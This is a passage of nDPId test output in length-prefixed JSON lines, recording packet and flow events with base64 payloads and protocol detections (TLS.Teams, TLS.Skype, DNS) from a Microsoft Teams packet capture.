Jf7XviEWGn6VwYteMLJs6NpanorDRfbpR7ugP9sS\/xQxXEGBbvBlLWXP9RB2Yrh\/4Xury50kZfNzlbVf8pNAkoFvPOjW9\/1hCbzhAj1p9w4MaVOo5BJuBL0rN2nV9fm3P4uSev4C1LVLOnAJ5ibTb17Nqav3\/7Yow3OKxi4nZQXUxdY2C9LlPG7CFQyTUhAgMBAAGjggQlMIIEITCCAX0GCisGAQQB1nkCBAIEggFtBIIBaQFnAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFu8rxhzAAABAMARzBFAiBmvv5B8\/O3v6EPGguvYI\/P2qGKP7ROqf0ovNi97Nz5BgIhAIZGcMhsK+U63M2eI+bAJ9WKJNG5kOdENaLWEuFCBeRpAHYA7sCV7o1yZA+S48O5G8cSo2lqCXtLahoUOOZHssvtxfkAAAFu8rxi+wAABAMARzBFAiA\/o312sro2ci86205w8nBhXgh51C+CLzKeFUsHGAF44wIhAPlqNmDAztceZS3Xynsbz+gJ8JIAzYCsjwloJWcCVXVuAHUAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFu8rxi+QAABAMARjBEAiB2eTFMm4i3KkYmP4vs8o+pq42SSpLb45iau7FX5j5KsgIgVy5yt1KRup4Xn1x551kicrPWi6kJvL9BWjFWvibdgnUwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDEuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBS7S\/DhGe87NYr7Xh2ON096b9XMvTALBgNVHQ8EBAMCBLAwQwYDVR0RBDwwOoIcKi5jb25maWcudGVhbXMubWljcm9zb2Z0LmNvbYIaY29uZmlnLnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0"} +02367{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":171928,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEIpAAHYGNfY0ccKEwKgBBgG77H5W9rhgh8U7bVAQBAE1EQAAcDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDEuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDEuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBAG1TRUu99sGEL6ZKd0w7t41uXw6jE0pCNodrzIEuirENUJwgWtI\/is9UF0WCpEaLq1VnrmgwPmV\/H4WB8vphVSiH\/d1Mt4gC2wehM3gs4QS4K9Fl2Pip3xTHOA2k4b+qzSwGrRZ4LWtYwDqHZBsqqtXgBPOrPjO\/ouOtpIQsORq0nzrLkHaM\/n4tXeCKsbeQ\/nn6O7S\/YwrNpO6gXw80eSaareEDuY0IGWO7QvkH3OSELPjiqsrrne4uZ4SvbgYVPva9T4LTsbUWHkUEio1C5nCmr1od+i5quwZ7ypWlssYzKi1RRJbfPwG6\/vUz3y3t7wQ66gWMyIbRUPMO1FtlHnw+X4HAKrVUTxUi1B1ahwMdgol51yIAfbmSHZS1IefzHuAIbih88eO4JWz7hYX+s4M3r3aL9u27RweOXRvH5VSoI\/nVOcQ521\/o+Ksrfs6E48cBFHX1wkjUmNKybEZPP83hchPxEq0UxDJRjf4M1utegeNooWi0WJD6A2L0GHZhoC93yClNeAL395oJyz1yHwKBedCU1uK1bXGJEwCUGAItjrNNI5Xx1XePtA758wDbmNVjGxUqaJLg+gI2CqlrgHamYJsgLFzA5V6bO1LTYt\/\/RaxSes1wEO5GkApJCs3E5MkWMuIqFF3Nc2K0u64RTHw5zpR51BctXQqA2EQpmoBvAAW4MIIFtDCCBJygAwIBAgIQCLh6UBu+nNotFk0+OVG\/VTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE2MDUyMDEyNTEyOFoXDTI0MDUyMDEyNTEyOFowgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSAxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjvPxhHV3vL7JpPUWpVMrUGCZ3Nh92SS14XJJN0j+2oaTo30dmksQTXd5fmWpfG424kfUNknQzCQCJxTirnHN2Vd0PBBWGZJKh2L545CNXt7RQRsaph9AoiwejlXXJthoQqvsDd7dXmGVs6xsgc6o4K2vX8qm5FFoLif9VCpxpMy7fpLx9lNRBTHQGYKwymPQ8koAC830aUv0WpZWOSbJnUsKYzQygKUE5eoot8EAwG0a8CjUSo+ArHMZ2PUWL62uCJdiBiz+56XwrUFTf40rMcMUcyHd43hjnFGGtaJIScB5CBVDACuZuEvgx1cHbMS5plQtAVPyo\/KkzNnBVPOIzeRME9OKMyFYrRi\/vjmBcDlpN\/hbpGPvCQff"} +00407{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":171965,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx+AbuHxTttVva+DFAQH9IQ7wAA"} +02371{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":172430,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEItAAHYGNfU0ccKEwKgBBgG77H5W9r4Mh8U7bVAQBAH+RwAAhxpix5oIxdEdXmJ2Ad1p5ji7RLAtTTrGLoDgYHJb8szmjlw6IR5dsDkrveoTy5bLtmp0jI68DhCfG6VAQY+RXHanDvGqOoe3DHffcWovKGFCLZAPcgWrZ+DBe8ucQJrECghEjHw9uqkOHrHZIr0fX0Fqc1T2ZuKg+aY53tJ382kEv7e7PMST\/3IEHLU2nWh\/3\/o5T7L2j7kc\/63tDhUI44Z88khJd5cW9v0A9k+mXm\/nOcBRZT3rsZcw7Oqec\/weLKDfi89zX7UOBkIXJpXs2Kkn0NBllFziP8ooKaUg9MjdXbT\/5t0CAwEAAaOCAUIwggE+MB0GA1UdDgQWBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMJMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAwmsadav3vkwgMvoJ3+XagbZ57MCN7qCla9Go+xwsMlt+4S1LkDZw47XhjtXPAHB874Kf\/f0lRlTK40Jup5c+WA4GA1UphGP7Easbff0FGIpyAZusPQqDk86Qho5jQenT2jOjD0iuqK84RWRlE51wHCULr1\/0VTblvbEQ1Joe6oztosIHnIMl\/EwLzzKufHJVQy65kgLuHCl3OpmuyfeM9NuIpUbcl\/NAJ47CtxGIuPn6FJrL2r\/dtMXPGGZipcpMCzsoLPTzs2XDogPUWq3hqh03GgTeoCnaBBqjvF2B8cBATPDjXM0zkN2UI+5Gz6BZ2YSpl9ViUs0UB78BPA3u4FgAHKwEABycwggcjCgEAoIIHHDCCBxgGCSsGAQUFBzABAQSCBwkwggcFMIHHohYEFPZCJyBUiJQZxe5ZDOM2ZtthRVswGA8yMDIwMDQxMzAzMTgyMlowgZswgZgwTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7\/hIjo5oX\/+n0CE3sADNbH39scQ60ghXIAAAAM1seAABgPMjAyMDA0MTMwMzE4MjJaoBEYDzIwMjAwNDE3MDMxODIyWqEiMCAwHgYJKwYBBQUHMAEGBBEYDzIwMTkwNDE0MDMxODIyWjANBgkqhkiG9w0BAQsFAAOCAQEAmQJ6SLm2zVRCwA2vj1iMtXpqFXbwq03+16DkzBYPkd1vJbCD2pK63BUefOP4K7H2MNhfhC9UdrdBqw1hn\/aiAEhRS8H6Uri0oK3BLddQh3Lar\/6za+aM1CIzUMhSO7cZaTzOWbrVqzRvDOHteUSC9izGmLPGOf\/rp1+Ih91m3oXenUwvGJXvzfRSCPcKMrC83N2dGsIwPtSWj64Vs1aDYQ8cKgW6GnG3F+r2W1I1E+3jEO4hx\/9M+TFBKwLQZe2XfQPbHwFNPRD1elltKGsu7cZ16xLxRoZNCw5lforDP15ZG7F8uxAeG4h3nPMxrpNqeTdwrgswsVKIbGKoRCV+EaCCBSMwggUfMIIFGzCCAwOgAwIBAgITYQAStb1WyXtb2s8yhQAAABK1vTANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x"} +00408{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":172494,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx+AbuHxTttVvbDuFAQIAALFQAA"} +02377{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":172680,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEIxAAHYGNfQ0ccKEwKgBBgG77H5W9sO4h8U7bVAQBAHB7AAAEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwHhcNMjAwMzE1MTU0MTIzWhcNMjEwMzE1MTU0MTIzWjArMSkwJwYDVQQDDCBNaWNyb3NvZnRfSVRfVExTX0NBXzFfS2V5QmluZGluZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJvT7p2jRZ8\/dmjvHeLh\/yQq3j\/VLXZx+gb9\/gYzTJ1NuB\/fNr+MLJRZzh0ZHkoTOnU7rdrucl91EiuE5B7nZnaSgipbpqErKWG7ldt1BJoxJbVw3c0jWJs70AznmaPQ8k7ZtFvTnBMQ0WnBynR1EgwoKd4nRGzCwl4KDD3XL3IqlH0ccYaShIcyuhkaDQJlSNPBzOoy8PtNqzGG7skD5yyX2jyJunr5KAlOqPUTkQJ4NPWskLkpO9m9cxKSSjrxWittzJ58MG+I4PdxkAxykg0Xy9AXb71oEqTLr+VNh33xYFcQptcCkJevVo9+ql0C2dvsMb9LMJRuZ7hgAUOpntcCAwEAAaOB1jCB0zAdBgNVHQ4EFgQU9kInIFSIlBnF7lkM4zZm22FFWzAwDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA8GCSsGAQUFBzABBQQCBQAwHwYDVR0jBBgwFoAUWIif1tycSCK3FD7\/hIjo5oX\/+n0wPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYHMm0eByOkWAgFkAgEHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggIBAGY5nYacL1MJ3uGLUYkLN3TiyuW2utxsRuA4aiy3HDugPxruQtVgJYjFRC\/JWgJmU+a44O62VOtwA5VOouXajEfXeuRrvz\/bG8g2I3r0wfI+FVPM1dXuOYJktX508R\/y9eIqqjN\/gVpqa3sQ8lAlrF0Scae9MtjdmFWTqrmqmRSME+M6a2\/DAbo3T+4hZJPLKDqX\/5eVPprHv1utxtcK4mv2gh3hCllXuRdr9tTWiL31IE\/cErb1MoVZP+lgwRcqQq3vHNOaOswdpAN2\/HhnhOerhptulS9eDFhMUTcJ53lU8rAEspJSc7UyYyiCYgme1LJXW0VEnSFWcgfq7FLhcRLNsnz\/vHrlaHipB\/RRIfH01X6hr96Wn7qbjdLv\/3SzeLKGtOgzb0w1EFpEUWzunpeelOLr3bHN8gWDlKQhH2XZpQlLonrIkxk2So4Oj3pfROmjNZTylKBRIDkQkqdLfcc6bB2oYkKLNiwspvT4uWwL1ky3k+uTc8A2CVnfcZHD0h2qjWl8a3xJpw4R6hRBwNB+X2UrJV2u3\/w3id5wcWfh+DNrPllmdRV8pkGlTYhcHM+tXYdp4veYHXwHYQOdZ0ICSl3IAr1tLMfADF\/u+pZl0U8QnUQdzVEvWZPqZQh8nWy8Ibenx7gHCRYw3EE7jAZvuJvTV3zqCtmgjQBH+5dSDAABaQMAGGEEz3wa8tsiAGQNgfEDLC55klPgDaYrll6Qs4MTgcXRKg\/NeX+pzx54x5hc8v5BTxmoungSR9bm3O0Bp1\/mx35oydSZaptgcdryC8LE9DYpwi+Z315UmzumUWKLLtvDAm0ABAEBAHgISIkHZEujTNP8snwiZoNWGux1b6isjgFFT\/fx2TcRh2KJ6W5kLyV2rnBxCLOKTZdQVMTPihpHeJ\/Rwb9oe4Tv6aBiBhKD5qSanU6OrqInUEfx9hYzxb\/7obzmYCd4ZP0RS3DXyRsxZIgaICgfyYWmG5QDty6n"} +00607{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":172683,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC1EI1AAHYGOxI0ccKEwKgBBgG77H5W9slkh8U7bVAYBAGByQAARJ\/yE86JRqyM\/N5553Gxm\/tllzSdO7xOJP0J9nAsnsIKjxRrloiZfD\/gVUiytWDypyc1x1dhVdcBqiu3UV2YKRrCSS\/a\/94RdsP82tnVqmB1\/xpZ2DxRn50uF4WXCWXA1mrBNkPQ6ts6V5QARJcy187mhiMPKQ0b2stKhCxgkuaAuRryjZ2Y2ecOAAAA"} +01102{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1001,"source":"teams.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":12,"flow_first_seen":1587041682144,"flow_last_seen":1587041682172,"flow_tot_l4_data_len":6442,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":536,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60542,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"config.teams.microsoft.com","server_names":"*.config.teams.microsoft.com,config.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","issuerDN":"CN=config.teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"B9:54:54:12:C9:E9:43:65:10:70:04:7B:AD:B6:0C:46:06:38:A5:FA"}} +00496{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":172684,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnCP9AAG0Gwyw0cktFwKgBBgG77H37tpsIhXm6soAYBARGpgAAAQEIClUPdzMwhK2pFAMDAAEBFgMDACgAAAAAAAAAABckn\/Z2BLcr4a9ceayiTzolfHTKPZZ30ZSgslqMDJUa"} +00409{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":173311,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx+AbuHxTttVvbJ8VAQH84FDgAA"} +00629{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":178165,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAGgY7AqAEGNHHChOx+AbuHxTttVvbJ8VAYIADQxgAAFgMDAGYQAABiYQRb26wex+ywDP+17p1b9MI22rzxhTPvUAH4uj3R1aCijUUOjCC+t\/YZ8iSpz+BifjGFDzVQ\/fMi4GUMlJTc56I5Ph1ZLk8h2BEOPmGvuaTEz75B\/TOM+hHsiHbHUs\/qYT4UAwMAAQEWAwMAKAAAAAAAAAAADEnD5bI3ciySL1\/QLlDFlnmnam5ZLkjmEkwMLApSrUo="} +00417{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":189817,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoEI5AAHYGO540ccKEwKgBBgG77H5W9snxh8U8C1AQBAEgPQAAAAAAAAAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1071,"source":"teams.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1587041682355,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65387,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1071,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":355684,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"EBMx8Tl2KDc3AG3ICABFAABPcIEAAP8Rx8TAqAEGwKgBAf9rADUAOydaEDoBAAABAAAAAAAADm5vcnRoZXVyb3BlY25zDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1071,"source":"teams.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1587041682355,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65387,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"northeuropecns.trafficmanager.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1102,"source":"teams.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1587041682369,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60543,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1102,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":369801,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex\/Abv2sXoGAAAAALAC\/\/+1wwAAAgQFtAEDAwUBAQgKMISugAAAAAAEAgAA"} +00568{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1107,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":370931,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"KDc3AG3IEBMx8Tl2CABFAACdUKtAADkRbU3AqAEBwKgBBgA1\/2sAiQAAEDqBgAABAAIAAAAADm5vcnRoZXVyb3BlY25zDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQABwAwABQABAAAA5AAyEW5vcnRoZXVyb3BlY25zLTMyC25vcnRoZXVyb3BlCGNsb3VkYXBwBWF6dXJlA2NvbQDAPwABAAEAAAAEAAQ0ckww"} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1107,"source":"teams.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1587041682355,"flow_last_seen":1587041682370,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":59,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65387,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"northeuropecns.trafficmanager.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.76.48"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1124,"source":"teams.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1587041682376,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.76.48","src_port":60544,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1124,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":376166,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+GfAqAEGNHJMMOyAAbuusi7sAAAAALAC\/\/9JyAAAAgQFtAEDAwUBAQgKMISuhQAAAAAEAgAA"} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1587041680216,"flow_last_seen":0,"flow_tot_l4_data_len":363,"flow_min_l4_data_len":363,"flow_max_l4_data_len":363,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1587041682369,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60543,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1587041682369,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60543,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1587041682376,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.76.48","src_port":60544,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1153,"source":"teams.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1587041682376,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.76.48","src_port":60544,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 